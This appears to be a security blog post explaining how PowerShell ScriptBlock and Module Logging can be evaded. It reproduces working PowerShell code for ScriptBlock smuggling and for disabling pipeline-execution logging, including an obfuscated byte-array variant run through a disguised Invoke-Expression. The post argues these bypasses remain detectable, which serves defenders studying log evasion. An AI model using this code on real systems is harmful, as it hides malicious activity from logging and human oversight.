The Problem with PowerShell Logging Bypasses

June 24, 2024

Before we start talking about logging bypasses and why they generally suck at bypassing logs, I’ll provide a little context on PowerShell logging and ScriptBlocks.

PowerShell ScriptBlocks are collections of statements or expressions to be executed. These ScriptBlocks are Objects of the System.Management.Automation.ScriptBlock type. They can be invoked, executed with a call operator, or otherwise executed via typical PowerShell methods. ScriptBlock Logging is a policy that logs all script input and the processing of commands, script blocks, and functions.

Furthermore, Module Logging is a policy that logs all pipeline execution events for specified module members. Essentially, whenever a module is called or executed a log entry is made. If you add Microsoft.PowerShell.* to this policy, all default PowerShell modules will make a log entry when they are used.

Due to these policies, it’s often simple to find malicious PowerShell behavior (if you’re logging and know what to look for). A malicious script was executed and you need to know the contents? It’s in the PowerShell operational event logs. Someone got in and ran some malicious commands? PowerShell operational event logs!

Because this built-in logging is so good, hiding your tracks often comes down to obfuscation within the code or deleting event logs or logging capabilities. However, obfuscation can be reversed given time, and log deletion events or modifications to logging registry keys or settings are more likely to be detected. This leaves threat actors with a conundrum. How can PowerShell be leveraged for malicious acts without leaving behind a full chain of events? The answer to this is to utilize .Net directly and skip using PowerSh- wait that’s not right. The answer to this is to bypass the logging mechanisms altogether and leave no traces of your malicious PowerShell code.

One of the more popular methods of this is ScriptBlockSmuggling (coined by BCSecurity I believe). This approach utilizes the ScriptBlock Object type to create a custom script block that executes one command but logs another. This is done through the use of the ScriptBlockAst (Abstract Syntax Tree). You can read about their process on their site (https://bc-security.org/scriptblock-smuggling/). To condense their post, ASTs are the objects that hold a ScriptBlock’s execution properties. E.g., what code is executing, when it’s executing, etc. Go read the BCSecurity post if you want a proper explanation. For logging bypass purposes, ASTs are the objects that hold the executable code.

In PowerShell, you can create a ScriptBlock object using a variety of different means.

# A ScriptBlock
{ 1 + 1 }

# Another ScriptBlock
[ScriptBlock]::Create("Write-Host 'Hello World!'")
PowerShell

You can also read the AST properties of a ScriptBlock Object.

$ScriptBlock = [ScriptBlock]::Create("Write-Host 'Hello World'")

<#

PS> $ScriptBlock.AST

Attributes         : {}
UsingStatements    : {}
ParamBlock         :
BeginBlock         :
ProcessBlock       :
EndBlock           : Write-Host 'Hello World'
DynamicParamBlock  :
ScriptRequirements :
Extent             : Write-Host 'Hello World'
Parent             :
#>
PowerShell

Of note are the EndBlock and Extent properties of the ScriptBlock Object. The Begin, Process, and End Block properties hold the executable code. The Extent is an automatically generated property that holds a string of the code in the ScriptBlock + other stuff (https://powershell.one/powershell-internals/parsing-and-tokenization/abstract-syntax-tree). Note that these are all Read-Only properties. They cannot be modified once the ScriptBlock is created. However, they can be copied to other ScriptBlock Objects.

As it turns out, PowerShell Logging methods only log the value of the Extent property of a ScriptBlock. Of course, with the Extent property containing the string value of the executable code, you might not think this is any kind of issue. However, what would happen if you create a new ScriptBlock with a copied Extent from another ScriptBlock and a copied EndBlock from the ScriptBlock we want to execute? Well, PowerShell will log the Extent value and execute the copied EndBlock.

Consider this example

# https://github.com/BC-SECURITY/ScriptBlock-Smuggling
Function Invoke-LoggingBypass(){
    param([String]$Command, [String]$Dummy)
    $SpoofedAST = [scriptblock]:: Create($Dummy).Ast
    $ExecutedAST = [scriptblock]::Create($Command).Ast
    $AST = [System.Management.Automation.Language.ScriptBlockAst]::new($SpoofedAST.Extent, $null, $null, $null, $ExecutedAST.EndBlock.Copy(), $null)
    $ScriptBlock = $AST.GetScriptBlock()
    & $ScriptBlock
}

# The following command displays "Write-Host 'test' in the 4104 log
Invoke-LoggingBypass -Command "Write-Host 'Hello World'" -Dummy "Write-Host 'test'"
PowerShell

Here, an AST for a ScriptBlock Object is created using a Spoofed AST (The command to display in the logs) and an ExecutedAST (What we want to execute). Using the function Invoke-LoggingBypass will create a 4104 (ScriptBlock Logging) event in the PowerShell operational event log with the value of our Dummy command while executing the malicious command in the shell.

So, at this point, you might think that PowerShell Logging bypasses are simple, right? Unfortunately, it’s not so. Remember the Module Logging policy? It turns out that any time a cmdlet, module, or generally anything happens in PowerShell, a core module is executed or used. This in turn will generate a 4103 log containing the full details of the execution. For the above example, a 4103 log will be created showing both Write-Host statements, even though there’s only a singular 4104 event documenting the command. There are other issues with the bypass technique, but we’ll save those for later.

Module Logging is not hard to bypass. It can be done by simply configuring the current session to not log execution. If you look at the policy description for Module Logging, you’ll see that it’s roughly equivalent to setting the LogPipelineExecution to true for each module. Of course, this setting is not fixed in stone for any given session. It’s actually pretty easy to set the logging of pipeline execution to false.

# https://bc-security.org/powershell-logging-obfuscation-and-some-newish-bypasses-part-1/
# This is for 5.1
# 7+ does not have the Get-PSSnapin cmdlet
(Get-Module Microsoft.PowerShell.Management).LogPipelineExecutionDetails = $false
(Get-Module Microsoft.PowerShell.Utility).LogPipelineExecutionDetails = $false
(Get-PSSnapin).LogPipelineExecutionDetails = $false
PowerShell

If we combine this technique with the ScriptBlockSmuggling technique, we have something like the following.

# https://github.com/BC-SECURITY/ScriptBlock-Smuggling
Function Invoke-LoggingBypass(){
    param([String]$Command, [String]$Dummy)
    $SpoofedAST = [scriptblock]:: Create($Dummy).Ast
    $ExecutedAST = [scriptblock]::Create($Command).Ast
    $AST = [System.Management.Automation.Language.ScriptBlockAst]::new($SpoofedAST.Extent, $null, $null, $null, $ExecutedAST.EndBlock.Copy(), $null)
    $ScriptBlock = $AST.GetScriptBlock()
    & $ScriptBlock
}
# https://bc-security.org/powershell-logging-obfuscation-and-some-newish-bypasses-part-1/
[byte[]]$z=(0x28,0x47,0x65,0x74,0x2d,0x4d,0x6f,0x64,0x75,0x6c,0x65,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2e,0x50,0x6f,0x77,0x65,0x72,0x53,0x68,0x65,0x6c,0x6c,0x2e,0x55,0x74,0x69,0x6c,0x69,0x74,0x79,0x29,0x2e,0x4c,0x6f,0x67,0x50,0x69,0x70,0x65,0x6c,0x69,0x6e,0x65,0x45,0x78,0x65,0x63,0x75,0x74,0x69,0x6f,0x6e,0x44,0x65,0x74,0x61,0x69,0x6c,0x73,0x20,0x3d,0x20,0x24,0x66,0x61,0x6c,0x73,0x65,0x3b,0x28,0x47,0x65,0x74,0x2d,0x50,0x53,0x53,0x6e,0x61,0x70,0x69,0x6e,0x29,0x2e,0x4c,0x6f,0x67,0x50,0x69,0x70,0x65,0x6c,0x69,0x6e,0x65,0x45,0x78,0x65,0x63,0x75,0x74,0x69,0x6f,0x6e,0x44,0x65,0x74,0x61,0x69,0x6c,0x73,0x20,0x3d,0x20,0x24,0x66,0x61,0x6c,0x73,0x65)
& ([String]::new(((gcm *v?k?-?x?re*).name)))([String]::new($z))

# The following command displays "Write-Host 'test' in the 4104 log and does not generate a 4103 log"
Invoke-LoggingBypass -Command "Write-Host 'Hello World'" -Dummy "Write-Host 'test'"
# The following command displays "write-Host 'Detect Me!' in the 4104 log and generates a blank 4103 Out-Default log.
Invoke-LoggingBypass -Command "New-Item -Name Detect.txt -ItemType File -Path '$env:USERPROFILE\Desktop' | write-host" -Dummy "Write-Host 'Detect Me!'"
PowerShell

The main issue with both bypass techniques is that the creation of the original ScriptBlocks is logged.

There is no way (as far as I know) to create the initial ScriptBlock without creating a log containing the exact script used to initiate the bypass. With the code above, once the function is loaded, the commands will not be exposed. So it is still possible to bypass the logging restrictions and leave no trace of the malicious commands. However, due to the logging of the function and script, it’s still plain to see that malicious activity occurred. Not quite a flawless victory for an attacker.

There are other methods for bypassing PowerShell logs, but they all run into the same issues. It’s hard to completely hide the initial ScriptBlock or the resulting 4103 Module Logging event. As far as I’m aware, there is no foolproof way to bypass proper PowerShell logging methods (using PowerShell). Once you get EDR detections in the loop, it’s pretty much impossible to not get your commands or scripts logged. It all comes down to how crafty you can be, and how well you can obfuscate and hide your actions.

Closing note, you can find that bypass example and more on my GitHub! I might even update it at some point and make it better!